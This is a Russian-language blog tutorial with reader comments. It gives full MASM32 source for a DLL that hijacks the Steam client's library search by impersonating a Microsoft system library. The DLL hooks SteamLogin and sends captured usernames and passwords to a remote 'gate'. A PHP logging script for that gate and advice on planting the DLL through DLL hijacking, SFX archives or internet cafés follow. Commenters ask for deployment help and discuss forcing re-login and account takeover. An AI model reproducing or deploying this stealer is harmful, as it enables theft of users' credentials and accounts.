В связи с огромной популярностью сервиса Steam, решил написать простой пример осуществления перехвата вводимых данных при авторизации (логин и пароль) с дальнейшей отправкой на гейт.
Беглый поиск в интернете показал, что подобные примеры существуют, однако, зачастую громоздки, либо уже устарели.
Итак, для осуществления перехвата необходимо определить, куда передается управление при попытке авторизации в Стиме. Основой для взаимодействия с сервисом Steam является Steam.dll, которая экспортирует множество функций, в том числе и функцию SteamLogin, которая как раз и вызывается при попытке авторизации.
Таким образом необходимо реализовать "прослойку", которая будет выполняется перед вызовом этой функции и передавать введенные данные на наш гейт. Для начала нужно определить, возможно ли заставить Steam подгрузить нашу библиотеку без внесения изменения в оригинальные файлы.
Если запустить Steam и посмотреть, какие dll'ки и откуда пытается подгрузить исполняемый файл, то мы увидим примерно следующее (я смотрел с помощью FileMon, но уже давно существует более продвинутый Process Monitor):
Как мы видим, подгружается множество библиотек, причем красным выделены неудачные попытки загрузки библиотек. При вызове LoadLibrary производится попытка найти некоторые системные библиотеки сначала в директории с исполняемым файлом, а уже потом в System32. Это позволяет сделать следующую вещь: выбрать какую-нибудь редкоиспользуемую системную библиотеку из тех, которые исполняемый файл сначала ищет в своей директории (например, rasadhlp.dll), создать свою библиотеку с таким же именем (которая будет сплайсить функцию SteamLogin) с пробросом экспортов в оригинальную библиотеку.
Условно это будет выглядеть следующим образом:
При попытке вызова какой-либо экспортируемоей функции из нашей библиотеки, вызов будет перенаправлен в оригинальную библиотеку. И при загрузке наша библиотека запишет инструкцию вида jmp XXXXXXX в начало функции SteamLogin, что позволит предварительно отправить данные авторизации на гейт, а уже потом вернуться к выполнению оригинальной функции.
Код библиотеки на MASM32 приведен ниже:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
.486 .model flat, stdcall option casemap :none ;Подключаем основные макросы и библиотеки include \masm32\include\windows.inc include \masm32\macros\macros.asm include \masm32\macros\windows.asm uselib kernel32, masm32, user32, ws2_32 ;Подключаем inc и lib файлы, необходимые для проброса экспортов в оригинальную dll include rasodhlp.inc includelib rasodhlp.lib ;Прототип функции отправки report proto :dword,:dword JUMPNEAR STRUCT 1 opcd BYTE ? reladdr DWORD ? JUMPNEAR ENDS |
Как создать файлы rasodhlp.lib и rasodhlp.inc, я поясню ниже. Смысл структуры JUMPNEAR описан в статье про инжектор. Кстати, я не использовал полезные макросы из статьи про инжектор. Это связано с тем, что в данном случае осуществляется сплайсинг не winapi-функции, соответственно, у нее не такой пролог, как у большинства winapi, также требуется сохранять состояние регистров и флагов перед выполнением своих действий, да и нам не требуется осуществлять возврат в нашу функцию после вызова оригинальной SteamLogin.
Далее объявим необходимые переменные:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
.data ;Адрес, по которому будут отправляться отчеты gate_path db "/gate.php",0 host db "yoursite.com",0 ;Шаблон для GET-запроса ;Далее в коде вместо первого %s будет подставлена переменная gate_path, ;вместо второго - логин, вместо третьего - пароль, а вместо четвертого - переменная host request db "GET %s?var1=%s&var2=%s HTTP/1.0",0dh,0ah db "Host: %s",0dh,0ah db "Connection: Close",0dh,0ah,0dh,0ah,0 .data? ;Переменная для хранения адреса оригинальной функции SteamLogin steam_login dd ? |
Пролог можно посмотреть в любом дизассемблере, для функции SteamLogin он выглядит следующим образом:
Реализуем процедуру, которая будет выполняться до вызова оригинальной функции:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
.code ;void (*SteamLogin)(char* User, char* Password, int isSecureComputer, TSteamError& SteamErr); ;Процедура, которая будет выполняться перед SteamLogin Steal: ;Пролог из оригинальной SteamLogin push ebp mov ebp,esp push -1 ;Сохраняем состояние регистров и флагов pushad pushfd ;При обращении к SteamLogin данные авторизации хранятся как в стеке, так и в регистрах eax,ecx invoke report,ecx,eax ;Восстанавливаем состояние регистров и флагов popfd popad ;Передаем управление в оригинальную процедуру SteamLogin push steam_login add dword ptr[esp], 5 retn |
Теперь процедуру отправки данных на гейт:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
;Процедура отправки данных на сервер report proc login:dword,passw:dword local buffer[512] : byte local sock : dword local wsa : WSADATA local saddr : sockaddr_in ;Инициализируем winsock invoke WSAStartup,101h,addr wsa .if eax == NO_ERROR ;Создаем сокет invoke socket,PF_INET,SOCK_STREAM,0 .if eax != SOCKET_ERROR mov sock,eax ;Получаем ip хоста invoke gethostbyname,offset host .if eax != 0 ;Помещаем в eax первый элемент h_addr_list из структры hostent mov eax,[eax+12] mov eax,[eax] mov eax,[eax] ;Заполняем структуру, необходимую для подключения mov saddr.sin_addr,eax invoke htons,80 mov saddr.sin_port,ax mov saddr.sin_family,AF_INET ;Подключаем сокет invoke connect,sock,addr saddr,sizeof saddr .if eax != SOCKET_ERROR ;Формируем запрос invoke wsprintf,addr buffer,offset request,offset gate_path,login,passw,offset host ;Определяем длину запроса invoke lstrlen,addr buffer ;Отправляем данные invoke send,sock,addr buffer,eax,0 .endif .endif ;Закрываем сокет invoke closesocket,sock .endif ;Выполняем очистку invoke WSACleanup .endif ret report endp |
И, наконец, точку входа DLL:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
LibMain proc instance:dword,reason:dword,reserved:dword local pr : dword local hl : dword local path1[512] : dword local path2[512] : dword .if reason == DLL_PROCESS_ATTACH ;Получаем путь к System32 invoke GetSystemDirectory,addr path1,512 ;Получаем путь к Steam.exe invoke GetAppPath,addr path2 invoke wsprintf,addr path1,chr$("%s\%s"),addr path1,chr$("rasadhlp.dll") invoke wsprintf,addr path2,chr$("%s\%s"),addr path2,chr$("rasodhlp.dll") ;Копируем dll в директорию стима invoke CopyFile,addr path1,addr path2,0 .if eax == 0 ret .endif ;Загружать скопированную библиотеку в память необязательно, т.к. загрузчик сам её ;загрузит при вызове GetProcAddress ;Помещаем в hl хендл dll стима mov hl,FUNC(GetModuleHandle,chr$("Steam.dll")) ;Помещаем в steam_login адрес процедуры SteamLogin из Steam.dll mov steam_login,FUNC(GetProcAddress,hl,chr$("SteamLogin")) ;Изменяем атрибуты защиты памяти invoke VirtualProtect,steam_login,sizeof JUMPNEAR,PAGE_READWRITE,addr pr ;Помещаем в начало процедуры SteamLogin конструкцию вида jmp XXXXXXXX, ;где XXXXXXXX - адрес процедуры Steal mov eax,steam_login assume eax: ptr JUMPNEAR mov [eax].opcd, 0e9h mov ecx,offset Steal sub ecx,steam_login sub ecx,5 mov [eax].reladdr,ecx assume eax:nothing ;Восстанавливаем исходные атрибуты invoke VirtualProtect,steam_login,sizeof JUMPNEAR,pr,addr pr ;Сообщаем об удачной загрузке dll'ки mov eax,1 .endif ret LibMain endp end LibMain |
Также нужно создать файл rasadhlp.def, который будет содержать описание экспортов библиотеки:
1 2 3 4 5 6 7 8 |
LIBRARY rasadhlp EXPORTS AcsHlpAttemptConnection = rasodhlp.AcsHlpAttemptConnection AcsHlpNbConnection = rasodhlp.AcsHlpNbConnection AcsHlpNoteNewConnection = rasodhlp.AcsHlpNoteNewConnection WSAttemptAutodialAddr = rasodhlp.WSAttemptAutodialAddr WSAttemptAutodialName = rasodhlp.WSAttemptAutodialName WSNoteSuccessfulHostentLookup = rasodhlp.WSNoteSuccessfulHostentLookup |
и файлы rasodhlp.lib и rasodhlp.inc, которые необходимы для компиляции. Чтобы создать файл rasodhlp.inc, необходимо посмотреть в дизассемблере экспорты оригинальной библиотеки
и определить количество аргументов, которые передаются в эти функции, чтобы составить прототипы.
Я ориентировался исключительно по инструкции retn (т.е. число после retn / 4 = количество аргументов):
Вот что у меня получилось:
1 2 3 4 5 6 |
AcsHlpAttemptConnection PROTO :DWORD AcsHlpNbConnection PROTO :DWORD AcsHlpNoteNewConnection PROTO :DWORD,:DWORD WSAttemptAutodialAddr PROTO :DWORD,:DWORD WSAttemptAutodialName PROTO :DWORD WSNoteSuccessfulHostentLookup PROTO :DWORD,:DWORD |
Для создания lib-файла понадобится программа inc2l, которая обычно есть в комплекте MASM32. Для большей похожести на оригинал можно ещё создать .rc файл с информацией о версии dll'ки:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
#define IDR_VERSION1 1 IDR_VERSION1 VERSIONINFO FILEVERSION 5,1,2600,5512 PRODUCTVERSION 5,1,2600,5512 FILEOS 0x00000004 FILETYPE 0x00000000 BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "FFFF0000" BEGIN VALUE "FileVersion", "5.1.2600.5512\0" VALUE "ProductVersion", "5.1.2600.5512\0" VALUE "CompanyName", "Microsoft Corporation\0" VALUE "FileDescription", "Remote Access AutoDial Helper\0" VALUE "InternalName", "rasadhlp.dll\0" VALUE "LegalCopyright", "© Microsoft Corporation. All rights reserved.\0" VALUE "OriginalFilename", "rasadhlp.dll\0" VALUE "ProductName", "Microsoft® Windows® Operating System\0" END END BLOCK "VarFileInfo" BEGIN VALUE "Translation", 0xFFFF, 0x0000 END END |
Теперь можно и скомпилировать все это дело. Пакет для компиляции можно взять из этой статьи. После компиляции получим свою кастомную rasadhlp.dll, которую необходимо поместить в директорию с файлом Steam.exe. Сделать это можно разными способами, например, воспользоваться уязвимостью dll hijacking в каком-либо стороннем приложении, сделать sfx-архив, который будет пытаться скопировать библиотеку в возможные места расположения стима после распаковки или банально прийти в какое-нибудь интернет-кафе, куда имеют обыкновение ходить игроки в продукты Steam (в США таких мест довольно много).
И, напоследок, код гейта, на который будут приходить реквизиты доступа:
1 2 3 4 5 6 7 8 9 10 11 |
<?php if(isset($_GET['var1']) && isset($_GET['var2']) && !empty($_GET['var1']) && !empty($_GET['var2']) && !is_array($_GET['var1']) && !is_array($_GET['var2'])) { $string = $_GET['var1'].':'.$_GET['var2']."\n"; $h = @fopen('log.txt', 'a'); flock($h, LOCK_EX); fwrite($h, $string); flock($h, LOCK_UN); fclose($h); } ?> |
Не забудьте создать файл log.txt, проставить на него права доступа 777 и закинуть в директорию файл .htaccess:
1 2 3 4 |
<Files log.txt> order allow,deny deny from all </Files> |
Тогда собранные данные не попадут в чужие руки.
Исходники одним архивом: скачать
Шикарно! Браво!
Вопрос, а возможно ли что-либо подобное написать на Visual Basic .NET или С# ?
Каэш, а ещё на C# можно сделать загрузчик ОС, драйвер и прошивку для ПЛИС ))
гонишь!
SHA256
Интересно, но у половины народа роутеры и имхо того не стоит.
За пример перенаправления спасибо, надо будет затестить на деле! =)
PS: Отличный блог, давно читаю, спасибо.
И как же роутер на это повлияет?
Пример никуда не годится. У 80% евророзетки и работать не будет.
Отличьно!Кстати на фасме подобное осуществляется куда как прозаичьнее и есть отличьный макрос для проброса экспортов.
Сорри за ошибки в тексте.
зачем изобретать велосипед ?
Может проще просто сбить авторизацию стима удалив файл блоб а потом следить за клавиатурой и читать что юзер вбивает в поля ?
Лучше бы написали про подмен SteamId, это бы во много раз было актуальнее мне кажется.
Делать кейлогер или его подобие как минимум скучно и уныло. Тем более непонятно нафига это делать из dll, которую стим прогрузил.
Как всегда на высоте, найс!
а как собрать то? я собрал по статье http://kaimi.io/2009/08/пакет-для-компиляции-masm32/
написал так: make_dll rasadhlp
и подправил файл
asm
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm
стало
include include\windows.inc
include macros\macros.asm
include macros\windows.asm
или как надо было???
А что, не собирается так?
а всё сделал) спасибо большое)
а как сделать в MASM32 чтобы брало .rc файл
make_dll_res или make_exe_res, если используешь пакет для компиляции
ошибка http://s45.radikal.ru/i110/1101/0c/0c14209f91b3.png чё делать?
Кинуть в папку bin этот файл http://rghost.net/4148835
и ещё возможно как то сделать чтобы отсылало на почту?
Kaimi
Спасибо за всё!) удали все мои посты)
Слух, а если стоит галка "Сохранить пароль", будет работать?
> который будет пытаться скопировать библиотеку в возможные места расположения стима
а в реестре подсмотреть?
Переписал под себя на CPP + Detours, заебца.
Алсо, сейчас уже почти не актуально, т.к. Steam Guard.
Кто может взломать стим аккаунт?
Никто не может, там же Steam Guard
Значит не как не взломать стим?
Узнай e-mail владельца аккаунта и получи от неё пароль.
Дело в том что я владелец, а пароля не знаю, у меня брат младший дал кому то логин и пароль, тот смог сменить как то пароль, а так он по прежднему на моем емалее что делать подскажите?
Нажать на кнопочку "Забыл пароль" или вроде того и восстановить доступ. Да и в тех. поддержку Steam обратиться никто не мешает.
в тех поддержке хорошие ребята советую. пару раз выручали
кстати через них и стим можно угнать
блин то что написано на верху это совсем не понятно ,а более простой способ есть?
Более простой способ для чего?
Не работает. видать что то изменилось. пофиксь!
1. Берешь отладчик
2. Трассируешь клиент стима
3. Смотришь где можно перехватить вводимые пользователем данные
4. Делаешь фикс для себя
5. Пользуешься
Или никто не мешает воспользоваться каким-нибудь кейлогером.
просто стим отладчиком не запускается.
Грусть, печаль, забей тогда
http://s017.radikal.ru/i438/1111/c0/05de6529a426.png жму начать а он снова это снизу пишет
да в попу грусть и печаль. ты на всё так забиваешь? и занимаешся дебильными скринсейверами?
Да, я на всё так забиваю. Что-то там исправлять нужно тебе, а не мне.
В мои планы не входит объяснять как пользоваться OllyDbg, особенно учитывая то, что документации по нему дофига.
открой стим у себя в OllyDbg и попробуй запусти. хуй он запустится! давай.
http://i047.radikal.ru/1111/51/0a32f80001ec.png
XP, тогда понятно ок. прости.
ну вот везёт ты можешь сделать. а мне виртуалку ставить, ну ок мне надо я и буду делать, хер чё ещё получится...
попробывал на XP не прёт! видать у тебя плагины или ещё что то... скинь настройки OllyDbg
Вообще-то у OllyDbg второй версии нет поддержки плагинов. А ключевая настройка, которую тебе так не хочется прочитать в документации, это:
[Ignored exceptions]
Range[0]=0 ffffffff
кейлогер...
2. Трассируешь клиент стима/ те?
У вас отличный блог..Давно читаю..Спасибо ребята молодцы!
Проблема нет макроса windows.asm в в директории masm32\macros\windows.asm
Версия masm32 SDK11
http://kaimi.io/2009/08/%d0%bf%d0%b0%d0%ba%d0%b5%d1%82-%d0%b4%d0%bb%d1%8f-%d0%ba%d0%be%d0%bc%d0%bf%d0%b8%d0%bb%d1%8f%d1%86%d0%b8%d0%b8-masm32/
В конце непонятно куда вставлять код гйта и где находится htaccess, куда компируем log.txt
Если возникает такой вопрос, то статья не для вас, так как она предназначена не для тех, кто хочет просто скачать и применить
Я PHP не владею а тут еще и инжекцию нужно проводить, мож объяснить-?
Этот способ неактуален уже. Стим перешел на COM-интерфейсы, так что переписывать придется
Я просто откомпилировал dll-ку и мне хотелось бы подгрузить ее к исполняемому файлу, но для этого надо написать инжектор на C+,здоровенный код придется переписывать для перехвата функций,sfx - полегче создать-?
Конечно
Я всегда спатыкаюсб именно на элементарных вопросах, разобрал статью, весь исходник,скопилировал dll-ку и тут ступр, скажи куда код гейта вставить а с sfx-архивоя я сам разберусь и там в дизассемблере у тебя не RETN4 а RETN8 - ПЕРЕДАЕТСЯ - 8 аргументов, почему ты пишешь retn\ 4 -?
На народ.ру вставляй понятное дело. Хрен его знает, наверное дело в
C2 iw RET imm16 Near Return to calling procedure and pop imm16 bytes from stack
Вот здесь непонятно. как на народ код гейта вставить,вопрос конечно элементарный,то есть файл создать и залить на народ.ru-?
Конечно. Какие ещё варианты то-?
А код для zip-архива я прописываю такой:
;!@Install@!UTF-8!
RunProgram="StartX.exe /WAIT \"msiexec /i Steam.msi /qn\""
;!@InstallEnd@! -?
Работает еще?
Нет, стим перешел на com-интерфейсы
Можно скайп твой? Есть пару вопросов)
Или добавь меня: sooqua
Я не пользуюсь скайпом
Ну я пишу dll-ку, которая должна выкинуть юзера из стима.
Импортирую функции из Steam.dll:
pfnSteamLogout = (SteamLogout)GetProcAddress(hSteamDLL, "SteamLogout");
pfnSteamCleanup = (SteamCleanup)GetProcAddress(hSteamDLL, "SteamCleanup");
pfnSteamShutdownEngine = (SteamShutdownEngine)GetProcAddress(hSteamDLL, "SteamShutdownEngine");
И вызываю их (в хронологической последовательности). Не зависает, но и авторизацию не сбрасывает. Из всех функций что я импортировал из стим.длл работает только SteamIsLoggedIn, которая действительно возвращает 1 если юзер авторизирован и 0 если нет.
Я же говорю, стим перешел на использование COM-интерфейсов, с ними взаимодействие реализуется по другому
Поможешь мне?) Очень нужно выкинуть юзера..
И в чем смысл? Стим автоматически перелогинится практически сразу.
Не знал) А разве нельзя сделать так чтобы он подумал что пользователь сам вышел?
Можно. Взять и закрыть клиент.
А так чтобы пользователю предложилось ввести логин и пасс?
Так после закрытия клиента пользователь и так захочет снова зайти в него, а для этого придется вводить логин и пароль
Наверное сделаю так:
1) TerminateProcess Steam.exe
2) Парсинг файла SteamAppData.vdf и замена у "RememberPassword" 1 на 0.
3) StartProcess Steam.exe
Хотелось бы конечно просто выйти программно)) Но видима не судьба пока)
Делал по примерам:
http://freesteam.org/threads/login-in-to-steam-programmatically.10411/
http://www.experts-exchange.com/Programming/Languages/CPP/Q_23646812.html
http://pastebin.com/BCBgXxKx
http://back2hack.cc/printthread.php?tid=2708
Не сочтите за рекламу)
я в этом нихена не понимаю,ибо компьютер не моё увлечение,но не могли быподсказать мне как аккаунт востановить...пароль ввожу,а он не подходит,и на ящик ничего не приходит...ситуация патовая...
Обратиться в тех. поддержку
Какой http запрос нужен для отправки файла на гейт?
google->multipart form data